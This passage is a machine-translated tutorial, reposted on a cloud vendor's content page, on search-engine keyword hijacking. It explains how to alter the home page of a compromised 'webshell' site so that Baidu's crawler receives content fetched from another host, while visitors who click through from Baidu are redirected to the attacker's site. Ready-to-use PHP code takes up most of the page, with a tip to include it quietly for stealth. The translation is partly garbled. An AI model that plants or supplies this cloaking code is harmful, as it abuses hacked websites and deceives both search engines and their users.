Search engine keyword hijacking php (source code and analysis)

Source: Internet
Author: User

Abstract: In fact, the principle is very simple: Search engine keyword hijacking process is actually, modify the broiler site (Webshell site) A's homepage (want to be included in the Search engine page, the general situation is the homepage), make the following judgment: if (the visitor is a spider) {output the specified content} If (the user is clicked from the search engine to enter the website) {Jump to our Nozomi ...

In fact, the principle is simple:
Search Engine keyword hijacking process is actually, modify the broiler site (Webshell site) A's homepage (want to be included in the Search engine page, the general situation is the homepage), make the following judgments:

If (the visitor is a spider) {
Output the specified content
}
if (the user clicks into the site from a search engine) {
Jump to the site B we want to jump
}

So we can achieve the following effects:
For spiders, if the visitor is a designated spider, then output want to let the spider see the content, if the visitor is not a spider, then output want to the normal user to see the content. Normal users in the browser address bar to enter a URL to visit site A, see the normal home, if the user click on the Baidu search results link into the site A, then jump we want to do SEO site B.
Limited ability to express, said so much do not know that we do not understand ...
Well, here's the code, and you'll probably understand it at a glance. The code is short and easy to understand.

<?PHP################################################ #You can put this file in a directory like Inc and include ##Home require_once (' This file path '); it'll be all right.#It'll be more subtle .################################################ if(Strpos(Strtolower($_server[' Http_user_agent ']), ' Baiduspider ')!==false ) { //Judge Search engine, here is Baidu, can add spiders themselves/*Header ("http/1.1 301 Moved permanently"); Header ("location:http://www.yunsec.net/"); This is 301 jump, 301 is mainly for the search engine, if you want to tell the search engine this page has changed the URL ...*/ $file=file_get_contents(' http://www.yunsec.net/forum.php '); Echo $file;//output specified file contentsExit; } //judging the antecedentsif(Stristr($_server[' Http_referer '], "baidu.com")) {//If the user is from Baidu.com//header ("http/1.1 301 Moved Permanently"),//301 jump, can also not 301, direct jump, 301 status code mainly for search engine useHeader("location:http://www.yunsec.net/");//JumpExit; } ?>

Search engine keyword hijacking php (source code and analysis)

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.